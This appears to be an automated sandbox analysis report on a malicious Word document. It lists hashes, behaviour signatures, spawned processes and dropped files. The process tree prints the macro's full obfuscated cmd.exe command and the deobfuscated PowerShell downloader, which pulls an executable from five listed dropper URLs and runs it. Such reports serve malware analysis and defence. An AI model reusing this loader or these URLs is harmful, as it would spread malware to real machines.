Overview

overview

10

Static

static

8

DOC-102404...19.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    220s
  • max time network
    208s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-09-2024 22:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    DOC-1024047857539219.doc

  • Size

    141KB

  • MD5

    f05b51ff62b8a936a9ae9fb42de0e2d7

  • SHA1

    07bd71cc74e6cc9ac32994ffb2f5f2c17312e45c

  • SHA256

    37b56acca434a4704378c5031e26566096282c346b3ea37fc2390f7ff4ceb1b8

  • SHA512

    9d7c0951aefd793b110486f32763907e77be80af2a479d2228665cf4dd286976c4bfdc5af423965c1e3e281061e359c6dc72985c463cd29d5c7f7e605a77b66e

  • SSDEEP

    1536:6681ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a98fkS03osuxtiPxFYPay:38GhDS0o9zTGOZD6EbzCdsaRMQy

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://twilm.com/IsvlxHU
exe.dropper

http://kawahrengganis.com/dNCOd9BFwP
exe.dropper

http://bnicl.net/JIN1P3qE7T
exe.dropper

http://dev.yajur.com/pVc0MkrUF
exe.dropper

http://hellodev.efront-dev.com.au/kDx1GRbOo8

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC-1024047857539219.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set yN5G=AwPRfwcPaTUAjiTLjjCDCH-N=WzVBgS9})7F\+v:kdKp/3xqnG$om.slIZe10'b(@Eu yh{8,tY;rMOJ&&for %W in (50;27;28;57;24;61;41;20;23;61;75;50;65;54;13;24;48;58;5;22;51;62;17;58;6;73;67;23;58;73;53;25;58;62;20;55;13;58;48;73;75;50;28;15;47;24;61;69;73;73;43;39;44;44;73;5;13;55;52;53;6;51;52;44;56;54;38;55;46;21;10;64;69;73;73;43;39;44;44;40;8;5;8;69;76;58;48;29;29;8;48;13;54;53;6;51;52;44;41;23;20;78;41;31;28;35;5;7;64;69;73;73;43;39;44;44;62;48;13;6;55;53;48;58;73;44;79;56;23;59;7;45;47;65;34;14;64;69;73;73;43;39;44;44;41;58;38;53;68;8;17;66;76;53;6;51;52;44;43;27;6;60;77;40;76;10;35;64;69;73;73;43;39;44;44;69;58;55;55;51;41;58;38;53;58;4;76;51;48;73;22;41;58;38;53;6;51;52;53;8;66;44;40;19;46;59;49;3;62;78;51;71;61;53;30;43;55;13;73;63;61;64;61;33;75;50;26;10;66;24;61;35;14;10;61;75;50;76;41;14;67;24;67;61;71;31;34;61;75;50;69;66;23;24;61;17;11;42;61;75;50;5;14;4;24;50;58;48;38;39;73;58;52;43;37;61;36;61;37;50;76;41;14;37;61;53;58;46;58;61;75;4;51;76;58;8;6;69;63;50;74;6;38;67;13;48;67;50;28;15;47;33;70;73;76;68;70;50;65;54;13;53;19;51;5;48;55;51;8;41;35;13;55;58;63;50;74;6;38;72;67;50;5;14;4;33;75;50;20;26;30;24;61;26;54;28;61;75;56;4;67;63;63;49;58;73;22;56;73;58;52;67;50;5;14;4;33;53;55;58;48;29;73;69;67;22;29;58;67;71;60;60;60;60;33;67;70;56;48;38;51;40;58;22;56;73;58;52;67;50;5;14;4;75;50;73;74;19;24;61;55;69;5;61;75;62;76;58;8;40;75;32;32;6;8;73;6;69;70;32;32;50;47;28;65;24;61;5;6;41;61;75;82)do set fnyr=!fnyr!!yN5G:~%W,1!&&if %W gtr 81 power%USERPROFILE:~7,1%he%PUBLIC:~12,1%%ProgramW6432:~13,-2% "!fnyr:~-452!""
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3216
      • C:\Windows\system32\cmd.exe
        CmD /V:O/C"set yN5G=AwPRfwcPaTUAjiTLjjCDCH-N=WzVBgS9})7F\+v:kdKp/3xqnG$om.slIZe10'b(@Eu yh{8,tY;rMOJ&&for %W in (50;27;28;57;24;61;41;20;23;61;75;50;65;54;13;24;48;58;5;22;51;62;17;58;6;73;67;23;58;73;53;25;58;62;20;55;13;58;48;73;75;50;28;15;47;24;61;69;73;73;43;39;44;44;73;5;13;55;52;53;6;51;52;44;56;54;38;55;46;21;10;64;69;73;73;43;39;44;44;40;8;5;8;69;76;58;48;29;29;8;48;13;54;53;6;51;52;44;41;23;20;78;41;31;28;35;5;7;64;69;73;73;43;39;44;44;62;48;13;6;55;53;48;58;73;44;79;56;23;59;7;45;47;65;34;14;64;69;73;73;43;39;44;44;41;58;38;53;68;8;17;66;76;53;6;51;52;44;43;27;6;60;77;40;76;10;35;64;69;73;73;43;39;44;44;69;58;55;55;51;41;58;38;53;58;4;76;51;48;73;22;41;58;38;53;6;51;52;53;8;66;44;40;19;46;59;49;3;62;78;51;71;61;53;30;43;55;13;73;63;61;64;61;33;75;50;26;10;66;24;61;35;14;10;61;75;50;76;41;14;67;24;67;61;71;31;34;61;75;50;69;66;23;24;61;17;11;42;61;75;50;5;14;4;24;50;58;48;38;39;73;58;52;43;37;61;36;61;37;50;76;41;14;37;61;53;58;46;58;61;75;4;51;76;58;8;6;69;63;50;74;6;38;67;13;48;67;50;28;15;47;33;70;73;76;68;70;50;65;54;13;53;19;51;5;48;55;51;8;41;35;13;55;58;63;50;74;6;38;72;67;50;5;14;4;33;75;50;20;26;30;24;61;26;54;28;61;75;56;4;67;63;63;49;58;73;22;56;73;58;52;67;50;5;14;4;33;53;55;58;48;29;73;69;67;22;29;58;67;71;60;60;60;60;33;67;70;56;48;38;51;40;58;22;56;73;58;52;67;50;5;14;4;75;50;73;74;19;24;61;55;69;5;61;75;62;76;58;8;40;75;32;32;6;8;73;6;69;70;32;32;50;47;28;65;24;61;5;6;41;61;75;82)do set fnyr=!fnyr!!yN5G:~%W,1!&&if %W gtr 81 powershell "!fnyr:~-452!""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell "$VBZ='dCN';$Esi=new-object Net.WebClient;$BLq='http://twilm.com/IsvlxHU@http://kawahrengganis.com/dNCOd9BFwP@http://bnicl.net/JIN1P3qE7T@http://dev.yajur.com/pVc0MkrUF@http://hellodev.efront-dev.com.au/kDx1GRbOo8'.Split('@');$zUu='FTU';$rdT = '897';$huN='jAK';$wTf=$env:temp+'\'+$rdT+'.exe';foreach($Ycv in $BLq){try{$Esi.DownloadFile($Ycv, $wTf);$CzS='zsB';If ((Get-Item $wTf).length -ge 80000) {Invoke-Item $wTf;$tYD='lhw';break;}}catch{}}$qBE='wcd';"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1556

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\MSIPC\CERT-Machine.drm
    Filesize

    25KB

    MD5

    86b46466384266e9b1611f73ec34b7b9

    SHA1

    335fc47f3c2a50b7e6ed25a4a6027d38aeda04ad

    SHA256

    435a8ecd79fefa6c5010d20092a7361345c884c36a7a25134c712c6a47823b5e

    SHA512

    87b7b672ff5cbb9eb8937796c449bd4e64cac188d3637ac57cc98d09c292ae302362eff3c676354223d4cf561dec075476d37731957532dfa8d75d8e6f86d6c7

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\TCDDE90.tmp\sist02.xsl
    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qzmamsem.f0e.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex
    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    Download Submit

  • memory/1556-43-0x000001C2796A0000-0x000001C2796C2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4996-20-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-18-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-7-0x00007FFD8CD70000-0x00007FFD8CD80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4996-8-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-11-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-12-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-13-0x00007FFD8A4A0000-0x00007FFD8A4B0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4996-10-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-9-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-15-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-17-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-0-0x00007FFDCCD8D000-0x00007FFDCCD8E000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4996-19-0x00007FFD8A4A0000-0x00007FFD8A4B0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4996-6-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-14-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-16-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-32-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-5-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-2-0x00007FFD8CD70000-0x00007FFD8CD80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4996-55-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-54-0x00007FFDCCD8D000-0x00007FFDCCD8E000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4996-58-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-59-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-70-0x00007FFDCCCF0000-0x00007FFDCCEE5000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4996-3-0x00007FFD8CD70000-0x00007FFD8CD80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4996-4-0x00007FFD8CD70000-0x00007FFD8CD80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4996-1-0x00007FFD8CD70000-0x00007FFD8CD80000-memory.dmp

    Filesize

    64KB

    Download